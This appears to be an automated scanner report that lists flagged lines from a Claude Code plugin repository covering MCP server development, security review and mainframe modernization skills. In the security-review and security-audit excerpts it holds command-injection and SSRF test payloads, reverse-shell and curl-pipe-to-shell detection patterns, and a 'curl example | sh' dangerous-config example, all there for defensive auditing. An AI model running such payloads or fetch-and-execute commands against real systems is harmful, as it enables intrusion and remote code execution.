harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/modernization-workspace-kit/scripts/install_workspace_kit.py
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/modernization-workspace-kit/scripts/test_install_workspace_kit.py
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/sdd-requirements-engineer/references/ears-notation.md
- Network accessline 103
- Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25. - Network accessline 104
- A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9). - Network accessline 105
- University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/sifap-classic-traceability/scripts/test_validate_traceability.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/sifap-classic-traceability/scripts/validate_traceability.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/mainframe-natural-adabas/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "keywords": [ - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/mainframe-natural-adabas/skills/modernization-workspace-kit/scripts/install_workspace_kit.py
harness/claude-code/plugins/mainframe-natural-adabas/skills/modernization-workspace-kit/scripts/test_install_workspace_kit.py
harness/claude-code/plugins/mainframe-natural-adabas/skills/sdd-requirements-engineer/references/ears-notation.md
- Network accessline 103
- Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25. - Network accessline 104
- A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9). - Network accessline 105
- University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.
harness/claude-code/plugins/mainframe-natural-adabas/skills/sifap-loop/scripts/sifap_loop_extract.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/mainframe-natural-adabas/skills/sifap-loop/scripts/sifap_loop_graph.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/mainframe-natural-adabas/skills/sifap-loop/scripts/test_sifap_loop_extract.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/mainframe-natural-adabas/skills/sifap-loop/scripts/test_sifap_loop_graph.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/mainframe-natural-adabas/skills/sifap-requirements-traceability/scripts/test_validate_traceability.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/mainframe-natural-adabas/skills/sifap-requirements-traceability/scripts/validate_traceability.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/mcp-development/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/mcp-development/skills/dotnet-mcp-builder/SKILL.md
- Network accessline 166
- [ModelContextProtocol NuGet profile](https://www.nuget.org/profiles/ModelContextProtocol) - Network accessline 167
- [ModelContextProtocol API reference](https://csharp.sdk.modelcontextprotocol.io/api/ModelContextProtocol.html) - Network accessline 168
- [EverythingServer sample](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/EverythingServer)
harness/claude-code/plugins/mcp-development/skills/dotnet-mcp-builder/references/client.md
- Access to secretsline 24
[Credential-related source omitted] - Network accessline 39
var transport = new HttpClientTransport(new HttpClientTransportOptions { Endpoint = new Uri("https://my-server.example.com/mcp"), - Network accessline 40
{ Endpoint = new Uri("https://my-server.example.com/mcp"), TransportMode = HttpTransportMode.StreamableHttp, - Network accessline 41
Endpoint = new Uri("https://my-server.example.com/mcp"), - Network accessline 182
var transport = new HttpClientTransport(new HttpClientTransportOptions { Endpoint = new Uri("https://my-server.example.com/mcp"), - Network accessline 183
{ Endpoint = new Uri("https://my-server.example.com/mcp"), KnownSessionId = previousSessionId - Network accessline 184
Endpoint = new Uri("https://my-server.example.com/mcp"),
harness/claude-code/plugins/mcp-development/skills/dotnet-mcp-builder/references/elicitation.md
- Network accessline 7
> **2026-07-28 changes the rules on HTTP.** The current revision removes HTTP sessions and the server→client `elicitation/create` request, so **`ElicitAsync` cannot be used on 2026-07-28 Streamable HTTP at all** — a server with `Stateless =
harness/claude-code/plugins/mcp-development/skills/dotnet-mcp-builder/references/mcp-apps.md
- Network accessline 3
[MCP Apps](https://modelcontextprotocol.io/extensions/apps/overview) is the official extension that lets a tool return an **interactive UI** rendered in a sandboxed iframe inside the host (Claude, Claude Desktop, VS Code Copilot, Goose, Pos - Network accessline 5
> **Important:** SDK 2.x ships a dedicated extension package, **`ModelContextProtocol.Extensions.Apps`**, with typed MCP Apps support: register with `.WithMcpApps()` and annotate tools with `[McpAppUi(ResourceUri = "ui://...")]`. It replace - Network accessline 15
The full protocol spec is at [`@modelcontextprotocol/ext-apps`](https://github.com/modelcontextprotocol/ext-apps). - Network accessline 95
["resourceUri"] = "ui://charts/interactive" // Optionally: // ["csp"] = new JsonObject { ["default-src"] = "'self' https://cdn.example.com" }, - Network accessline 96
// Optionally: // ["csp"] = new JsonObject { ["default-src"] = "'self' https://cdn.example.com" }, // ["permissions"] = new JsonArray("clipboard-write") - Network accessline 97
// ["csp"] = new JsonObject { ["default-src"] = "'self' https://cdn.example.com" }, - Network accessline 148
<div id="root">Loading…</div> <script type="module"> import { App } from "https://esm.sh/@modelcontextprotocol/ext-apps@1"; - Network accessline 150
import { App } from "https://esm.sh/@modelcontextprotocol/ext-apps@1"; - Network accessline 174
**Tip:** for non-trivial UIs, build with Vite (React/Vue/Svelte/Solid — any of the [official starter templates](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples)) and have the build emit a single inlined HTML you embed as - Network accessline 209
For pure-UI iteration, [MCP Inspector](https://github.com/modelcontextprotocol/inspector) shows resource contents but does not fully render apps; for that, point Claude Desktop at your dev server.
harness/claude-code/plugins/mcp-development/skills/dotnet-mcp-builder/references/packages.md
- Network accessline 5
All packages live under the [`ModelContextProtocol` NuGet profile](https://www.nuget.org/profiles/ModelContextProtocol). The official C# SDK repo is [`modelcontextprotocol/csharp-sdk`](https://github.com/modelcontextprotocol/csharp-sdk), ma - Network accessline 24
**Upgrading 1.x → 2.0 (highlights, not exhaustive):** stable v1.x APIs keep working; the deprecated capabilities (roots, sampling, logging) are now `[Obsolete]` with `MCP9005` warnings, experimental APIs moved (the 1.4.x Tasks surface → `Mo
harness/claude-code/plugins/mcp-development/skills/dotnet-mcp-builder/references/testing.md
- Network accessline 7
[MCP Inspector](https://github.com/modelcontextprotocol/inspector) is the go-to tool for trying out a server by hand. It launches your server, connects via STDIO or HTTP, and gives you a UI to list/call tools, view resources, fire elicitati - Network accessline 25
Start the server normally (`dotnet run`), then in Inspector pick "Streamable HTTP" and enter the URL (e.g. `http://localhost:3001`). - Network accessline 166
- **"LLM keeps misusing the tool":** open Inspector and look at the schema/description as the LLM sees it. Most "the model is dumb" issues are actually missing `[Description]`. - **"Sampling/elicitation throws 'method not supported'":** the - Network accessline 168
- **"HTTP returns 404 for /":** check `app.MapMcp()` is called *and* you're hitting the right path. `MapMcp("/mcp")` means the URL is `http://host/mcp`, not `http://host/`.
harness/claude-code/plugins/mcp-development/skills/dotnet-mcp-builder/references/transport-http.md
- Network accessline 44
app.Run("http://localhost:3001"); - Network accessline 78
Match this on the client side (`Endpoint = new Uri("https://host/mcp/v1")`). - Network accessline 103
Inside a tool, you can also inject `IHttpContextAccessor` if `AddHttpContextAccessor()` is registered. See the [`AspNetCoreMcpPerSessionTools` sample](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/AspNetCoreMcpPerSess - Network accessline 123
For OAuth flows where the *MCP server* is the resource server, follow the [MCP authorization spec](https://modelcontextprotocol.io/specification/2025-06-18/basic/authorization). The [`ProtectedMcpServer` sample](https://github.com/modelcont - Network accessline 142
builder.Services.AddCors(o => o.AddDefaultPolicy(p => p.WithOrigins("https://my-host.example.com") - Network accessline 143
p.WithOrigins("https://my-host.example.com")
harness/claude-code/plugins/mcp-development/skills/dotnet-mcp-builder/references/transport-stdio.md
harness/claude-code/plugins/mcp-development/skills/mcp-builder/LICENSE.txt
harness/claude-code/plugins/mcp-development/skills/mcp-builder/SKILL.md
- Network accessline 52
Start with the sitemap to find relevant pages: `https://modelcontextprotocol.io/sitemap.xml` - Network accessline 54
Then fetch specific pages with `.md` suffix for markdown format (e.g., `https://modelcontextprotocol.io/specification/draft.md`). - Network accessline 71
**For TypeScript (recommended):** - **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md` - Network accessline 72
- **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md` - Network accessline 75
**For Python:** - **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 76
- **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 213
### Core MCP Documentation (Load First) - **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix - Network accessline 214
- **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix - Network accessline 222
### SDK Documentation (Load During Phase 1/2) - **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 223
- **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 224
- **TypeScript SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md`
harness/claude-code/plugins/mcp-development/skills/mcp-builder/reference/evaluation.md
- Access to secretsline 398
[Credential-related source omitted] - Access to secretsline 440
[Credential-related source omitted] - Access to secretsline 444
[Credential-related source omitted] - Network accessline 454
python scripts/evaluation.py \ -t sse \ -u https://example.com/mcp \ - Network accessline 455
[Credential-related source omitted] - Network accessline 456
-u https://example.com/mcp \ - Network accessline 467
python scripts/evaluation.py \ -t http \ -u https://example.com/mcp \ - Network accessline 468
[Credential-related source omitted] - Network accessline 469
-u https://example.com/mcp \ - Access to secretsline 557
[Credential-related source omitted]
harness/claude-code/plugins/mcp-development/skills/mcp-builder/reference/node_mcp_server.md
- Dangerous shell operationline 541
"clean": "rm -rf dist" - Network accessline 600
// Constants const API_BASE_URL = "https://api.example.com/v1"; - Network accessline 601
const API_BASE_URL = "https://api.example.com/v1"; - Access to secretsline 707
[Credential-related source omitted] - Access to secretsline 708
[Credential-related source omitted] - Access to secretsline 719
[Credential-related source omitted] - Access to secretsline 720
[Credential-related source omitted] - Network accessline 737
const port = parseInt(process.env.PORT || '3000'); app.listen(port, () => { console.error(`MCP server running on http://localhost:${port}/mcp`); - Network accessline 738
app.listen(port, () => { console.error(`MCP server running on http://localhost:${port}/mcp`); }); - Network accessline 739
console.error(`MCP server running on http://localhost:${port}/mcp`);
harness/claude-code/plugins/mcp-development/skills/mcp-builder/reference/python_mcp_server.md
- Network accessline 42
**For complete SDK documentation, use WebFetch to load:** `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 43
`https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 233
async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict: '''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: - Network accessline 234
'''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: response = await client.request( - Network accessline 235
async with httpx.AsyncClient() as client: - Network accessline 251
# Good: Async network request async def fetch_data(resource_id: str) -> dict: async with httpx.AsyncClient() as client: - Network accessline 252
async def fetch_data(resource_id: str) -> dict: async with httpx.AsyncClient() as client: response = await client.get(f"{API_URL}/resource/{resource_id}") - Network accessline 253
async with httpx.AsyncClient() as client: - Network accessline 258
# Bad: Synchronous request def fetch_data(resource_id: str) -> dict: response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks - Network accessline 259
def fetch_data(resource_id: str) -> dict: response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks return response.json() - Network accessline 260
response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks - Network accessline 352
# Constants API_BASE_URL = "https://api.example.com/v1" - Network accessline 353
API_BASE_URL = "https://api.example.com/v1" - Network accessline 382
async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict: '''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: - Network accessline 383
'''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: response = await client.request( - Network accessline 384
async with httpx.AsyncClient() as client: - Access to secretsline 511
[Credential-related source omitted] - Access to secretsline 517
[Credential-related source omitted]
harness/claude-code/plugins/mcp-development/skills/mcp-builder/scripts/connections.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/mcp-development/skills/mcp-builder/scripts/evaluation.py
harness/claude-code/plugins/mcp-development/skills/mcp-implementation-security-review/SKILL.md
- Network accessline 109
| Vector | Dangerous code | Safe alternative | Test payload | CWE | | --- | --- | --- | --- | --- | | Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `e - Network accessline 110
| --- | --- | --- | --- | --- | | Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", us - Dangerous shell operationline 111
| Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", user_input], shell=False)` | `; rm - Network accessline 111
| Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", user_input], shell=False)` | `; rm - Dangerous shell operationline 112
| Dynamic code evaluation | `eval(args.expression)`, `exec(tool_output)`, `new Function(args.code)()` | Sandboxed parser, AST-based evaluation, or predefined allowlist. | `__import__('os').system('whoami')`, `require('child_process').exec(' - Network accessline 115
| SSTI | `Template(user_input).render()`, `Handlebars.compile(args.template)({data})` | Never use user input as template source; use predefined templates with parameters only. | `{{7*7}}`, `${7*7}`, `<%= 7*7 %>` must not render `49`. | CWE- - Network accessline 117
| SSRF | `requests.get(user_param)`, `fetch(user_input)`, `HttpClient.GetAsync(user_input)` | Allowlist schemes/domains, block RFC1918 and link-local targets, validate URLs before sending. | `http://169.254.169.254/latest/meta-data/`, `http - Network accessline 200
- [MCP specification 2025-03-26](https://modelcontextprotocol.io/specification/2025-03-26) - Network accessline 201
- [MCP specification 2025-11-25](https://modelcontextprotocol.io/specification/2025-11-25)
harness/claude-code/plugins/mcp-development/skills/mcp-security-audit/SKILL.md
- Network accessline 72
(r'(?i)bash\s+-c\s', "bash -c execution"), (r'(?i)sh\s+-c\s', "sh -c execution"), (r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"), - Network accessline 73
(r'(?i)sh\s+-c\s', "sh -c execution"), (r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"), (r'curl\s+.*\|\s*(ba)?sh', "curl pipe to shell"), - Dangerous shell operationline 74
(r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"), - Network accessline 74
(r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"), - Network accessline 75
(r'curl\s+.*\|\s*(ba)?sh', "curl pipe to shell"), - Access to secretsline 79
[Credential-related source omitted] - Access to secretsline 88
[Credential-related source omitted] - Network accessline 154
[Credential-related source omitted] - Access to secretsline 155
[Credential-related source omitted] - Dangerous shell operationline 156
| `"command": "node", "args": ["server.js"]` | `"command": "bash", "args": ["-c", "curl example | sh"]` | - Network accessline 156
| `"command": "node", "args": ["server.js"]` | `"command": "bash", "args": ["-c", "curl example | sh"]` | - Access to secretsline 182
[Credential-related source omitted] - Network accessline 190
- [MCP Specification](https://modelcontextprotocol.io/) - Network accessline 191
- [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit) - Network accessline 192
- [OWASP ASI-02: Insecure Tool Use](https://genai.owasp.org/)
harness/claude-code/plugins/mcp-development/skills/webmcpify/SKILL.md
- Network accessline 9
license: MIT metadata: source: "https://github.com/TueJon/webmcpify" - Network accessline 10
metadata: source: "https://github.com/TueJon/webmcpify" --- - Network accessline 11
source: "https://github.com/TueJon/webmcpify" - Network accessline 41
- WebMCP is an evolving origin-trial API from the W3C Web Machine Learning Community Group: https://webmachinelearning.github.io/webmcp/ - Network accessline 85
"typescript": true, "entry": "src/main.tsx", "baseUrl": "http://localhost:5173", - Network accessline 86
"entry": "src/main.tsx", "baseUrl": "http://localhost:5173", "startCommand": "npm run dev", - Network accessline 87
"baseUrl": "http://localhost:5173", - Access to secretsline 104
[Credential-related source omitted] - Access to secretsline 199
[Credential-related source omitted] - Network accessline 208
- [WebMCP draft](https://webmachinelearning.github.io/webmcp/) - Network accessline 209
- [webmcpify source](https://github.com/TueJon/webmcpify)
harness/claude-code/plugins/mcp-development/skills/webmcpify/references/heal.md
- Network accessline 51
if (process.env.WEBMCP_LIVE_MUTATIONS === '1') { await page.route('**/api/contact', async (route) => { const response = await context.request.fetch(route.request(), { - Network accessline 52
await page.route('**/api/contact', async (route) => { const response = await context.request.fetch(route.request(), { headers: { ...route.request().headers(), origin: 'https://example.com' }, // the prod Origin - Network accessline 53
const response = await context.request.fetch(route.request(), { - Network accessline 54
headers: { ...route.request().headers(), origin: 'https://example.com' }, // the prod Origin
harness/claude-code/plugins/mcp-development/skills/webmcpify/references/inventory.md
- Instruction override signalline 45
*Initiation tools only navigate/open the flow — the human completes it. They are classified non-mutating (no data changes) **but must NOT carry `readOnlyHint`**: they change UI state, and agents skip confirmations for hinted-read-only tools - Instruction override signalline 46
classified non-mutating (no data changes) **but must NOT carry `readOnlyHint`**: they change UI state, and agents skip confirmations for hinted-read-only tools. `readOnlyHint: true` is reserved for genuinely pure data reads. - Instruction override signalline 47
they change UI state, and agents skip confirmations for hinted-read-only tools.
harness/claude-code/plugins/mcp-development/skills/webmcpify/references/runtime.md
- Network accessline 27
| `isWebMCPAvailable()` | Feature detection — the app must work identically without WebMCP | | `createToolScope(key, tools, options?)` | Registers a tool set under one AbortController; returns a **callable dispose handle** carrying `ready: - Network accessline 28
| `createToolScope(key, tools, options?)` | Registers a tool set under one AbortController; returns a **callable dispose handle** carrying `ready: Promise<boolean>` (true = all registrations committed; false = no WebMCP / duplicate key / fa - Network accessline 29
| `dispatchAndWait(event, detail?, timeoutMs?)` | Bridges `execute()` to the app's own event/state flow. The dispatched detail carries `requestId` plus `signal` — an AbortSignal aborted on timeout; pass it to `fetch()` and skip state commit
harness/claude-code/plugins/mcp-development/skills/webmcpify/references/security.md
- Instruction override signalline 48
consent decisions from it). - [ ] `readOnlyHint: true` ONLY on genuinely pure data reads (agents skip confirmation based on it; mislabeling is the worst single mistake). - Instruction override signalline 49
- [ ] `readOnlyHint: true` ONLY on genuinely pure data reads (agents skip confirmation based on it; mislabeling is the worst single mistake). - [ ] `untrustedContentHint: true` on every tool returning user-generated or
harness/claude-code/plugins/mcp-development/skills/webmcpify/references/verify.md
- Network accessline 100
}); EOF WEBMCP_SPEC_DIR=<target-repo>/.webmcpify WEBMCP_BASE_URL=http://localhost:5173 \ - Network accessline 101
EOF WEBMCP_SPEC_DIR=<target-repo>/.webmcpify WEBMCP_BASE_URL=http://localhost:5173 \ NODE_PATH=/tmp/webmcpify-harness/node_modules npx playwright test - Network accessline 102
WEBMCP_SPEC_DIR=<target-repo>/.webmcpify WEBMCP_BASE_URL=http://localhost:5173 \ - Network accessline 112
**Alternative:** Puppeteer ships a first-class experimental WebMCP API (https://pptr.dev/guides/webmcp) — prefer it when the target repo already uses - Network accessline 113
(https://pptr.dev/guides/webmcp) — prefer it when the target repo already uses
harness/claude-code/plugins/mcp-development/skills/webmcpify/templates/webmcp-jsx.d.ts
- Network accessline 1
/** * React JSX typings for the declarative WebMCP attributes — vendored from * https://github.com/TueJon/webmcpify - Executable scriptline 1
Executable file - Network accessline 2
* React JSX typings for the declarative WebMCP attributes — vendored from * https://github.com/TueJon/webmcpify * - Network accessline 3
* https://github.com/TueJon/webmcpify - Network accessline 25
* SOFTWARE. * * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 26
* * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE * - Network accessline 27
* Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
harness/claude-code/plugins/mcp-development/skills/webmcpify/templates/webmcp.d.ts
- Network accessline 1
/** * Ambient types for the WebMCP API — vendored from https://github.com/TueJon/webmcpify - Executable scriptline 1
Executable file - Network accessline 2
* Ambient types for the WebMCP API — vendored from https://github.com/TueJon/webmcpify - Network accessline 24
* SOFTWARE. * * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 25
* * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE * - Network accessline 26
* Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 27
* * registerTool/ontoolchange/annotations/getTools follow the CG draft * (https://webmachinelearning.github.io/webmcp/); executeTool is a Chrome-only - Network accessline 28
* registerTool/ontoolchange/annotations/getTools follow the CG draft * (https://webmachinelearning.github.io/webmcp/); executeTool is a Chrome-only * extension not yet in the draft. This API is in flux — re-check against the - Network accessline 29
* (https://webmachinelearning.github.io/webmcp/); executeTool is a Chrome-only - Network accessline 30
* extension not yet in the draft. This API is in flux — re-check against the * draft and https://developer.chrome.com/docs/ai/webmcp when updating. * - Network accessline 31
* draft and https://developer.chrome.com/docs/ai/webmcp when updating.
harness/claude-code/plugins/mcp-development/skills/webmcpify/templates/webmcp.spec.ts
- Network accessline 1
/** * webmcpify verification template — vendored from https://github.com/TueJon/webmcpify - Executable scriptline 1
Executable file - Network accessline 2
* webmcpify verification template — vendored from https://github.com/TueJon/webmcpify - Network accessline 24
* SOFTWARE. * * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 25
* * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE * - Network accessline 26
* Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 42
const BASE_URL = process.env.WEBMCP_BASE_URL ?? 'http://localhost:5173';
harness/claude-code/plugins/mcp-development/skills/webmcpify/templates/webmcpify.js
- Network accessline 1
/** * webmcpify runtime (JavaScript variant) — vendored from https://github.com/TueJon/webmcpify - Executable scriptline 1
Executable file - Network accessline 2
* webmcpify runtime (JavaScript variant) — vendored from https://github.com/TueJon/webmcpify - Network accessline 24
* SOFTWARE. * * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 25
* * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE * - Network accessline 26
* Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 139
* Bridge execute() to the app's own event/state flow. The dispatched detail * carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted * on timeout; handlers should pass it to fetch() and skip state commits and the - Network accessline 140
* carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted * on timeout; handlers should pass it to fetch() and skip state commits and the * completion dispatch once aborted. Resolves only after the component confir - Network accessline 141
* on timeout; handlers should pass it to fetch() and skip state commits and the
harness/claude-code/plugins/mcp-development/skills/webmcpify/templates/webmcpify.ts
- Network accessline 1
/** * webmcpify runtime — vendored from https://github.com/TueJon/webmcpify - Executable scriptline 1
Executable file - Network accessline 2
* webmcpify runtime — vendored from https://github.com/TueJon/webmcpify - Network accessline 24
* SOFTWARE. * * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 25
* * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE * - Network accessline 26
* Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 165
* Bridge execute() to the app's own event/state flow. The dispatched detail * carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted * on timeout; handlers should pass it to fetch() and skip state commits and the - Network accessline 166
* carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted * on timeout; handlers should pass it to fetch() and skip state commits and the * completion dispatch once aborted. Resolves only after the component confir - Network accessline 167
* on timeout; handlers should pass it to fetch() and skip state commits and the
harness/claude-code/plugins/mcp-m365-copilot/.claude-plugin/plugin.json
harness/claude-code/plugins/mcp-m365-copilot/skills/mcp-create-adaptive-cards/SKILL.md
- Network accessline 132
{ "type": "AdaptiveCard", "$schema": "https://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 133
"type": "AdaptiveCard", "$schema": "https://adaptivecards.io/schemas/adaptive-card.json", "version": "1.5", - Network accessline 134
"$schema": "https://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 167
- [Adaptive Card Designer](https://adaptivecards.microsoft.com/designer) - Network accessline 168
- [Adaptive Card Schema](https://adaptivecards.io/schemas/adaptive-card.json) - Network accessline 169
- [Template Language](https://learn.microsoft.com/en-us/adaptive-cards/templating/language) - Network accessline 170
- [JSONPath](https://www.rfc-editor.org/rfc/rfc9535)
harness/claude-code/plugins/mcp-m365-copilot/skills/mcp-create-adaptive-cards/references/card-reference-examples.md
- Network accessline 25
"static_template": { "type": "AdaptiveCard", "$schema": "http://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 26
"type": "AdaptiveCard", "$schema": "http://adaptivecards.io/schemas/adaptive-card.json", "version": "1.5", - Network accessline 27
"$schema": "http://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 125
} ], "$schema": "http://adaptivecards.io/schemas/adaptive-card.json" - Network accessline 126
], "$schema": "http://adaptivecards.io/schemas/adaptive-card.json" }, - Network accessline 127
"$schema": "http://adaptivecards.io/schemas/adaptive-card.json" - Network accessline 156
} ], "$schema": "http://adaptivecards.io/schemas/adaptive-card.json" - Network accessline 157
], "$schema": "http://adaptivecards.io/schemas/adaptive-card.json" } - Network accessline 158
"$schema": "http://adaptivecards.io/schemas/adaptive-card.json" - Network accessline 221
{ "type": "Image", "url": "https://example.com/image.png", - Network accessline 222
"type": "Image", "url": "https://example.com/image.png", "size": "medium", // auto, stretch, small, medium, large - Network accessline 223
"url": "https://example.com/image.png", - Network accessline 265
"type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/item/${id}" - Network accessline 266
"title": "View Details", "url": "https://example.com/item/${id}" } - Network accessline 267
"url": "https://example.com/item/${id}" - Network accessline 288
"static_template": { "type": "AdaptiveCard", "$schema": "http://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 289
"type": "AdaptiveCard", "$schema": "http://adaptivecards.io/schemas/adaptive-card.json", "version": "1.5", - Network accessline 290
"$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
harness/claude-code/plugins/mcp-m365-copilot/skills/mcp-create-declarative-agent/SKILL.md
- Network accessline 26
- Use Microsoft 365 Agents Toolkit project conventions and generated `appPackage/` files. - The MCP server must expose server metadata, a tools listing endpoint, and tool execution endpoint. - Test the finished agent in Microsoft 365 Copilo - Network accessline 27
- The MCP server must expose server metadata, a tools listing endpoint, and tool execution endpoint. - Test the finished agent in Microsoft 365 Copilot at `https://m365.cloud.microsoft/chat`. - Store secrets in `.env.local` or `.env.dev`; n - Network accessline 28
- Test the finished agent in Microsoft 365 Copilot at `https://m365.cloud.microsoft/chat`. - Access to secretsline 29
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Network accessline 54
{"$schema":"https://developer.microsoft.com/json-schemas/teams/vDevPreview/MicrosoftTeams.schema.json","manifestVersion":"devPreview","version":"1.0.0","id":"...","developer":{"name":"...","websiteUrl":"...","privacyUrl":"...","termsOfUseUr - Network accessline 60
{"$schema":"https://aka.ms/json-schemas/copilot/declarative-agent/v1.0/schema.json","version":"v1.0","name":"Agent Name","description":"Agent description","instructions":"You are an assistant that helps with [specific domain]. Use the avail - Network accessline 66
{"schema_version":"v2.1","name_for_human":"Service Name","description_for_human":"Description for users","description_for_model":"Description for AI model","contact_email":"support@company.com","namespace":"serviceName","capabilities":{"con - Network accessline 72
{"serverUrl":"https://{api-host}/mcp/","pluginFilePath":"appPackage/ai-plugin.json"} - Network accessline 90
| Need | Configuration | | --- | --- | | OAuth 2.0 static registration | Use `"type": "OAuthPluginVault"`, `"reference_id": "${{OAUTH_REFERENCE_ID}}"`, `"authorization_url": "https://{auth-host}/authorize"`, `"client_id": "${{CLIENT_ID}}"`, - Network accessline 91
[Credential-related source omitted] - Network accessline 92
[Credential-related source omitted] - Access to secretsline 92
[Credential-related source omitted] - Network accessline 99
| Server | URL | Tools | Auth | | --- | --- | --- | --- | | GitHub MCP Server | `https://api.githubcopilot.com/mcp/` | `search_repositories`, `search_users`, `get_repository` | OAuth 2.0 | - Network accessline 100
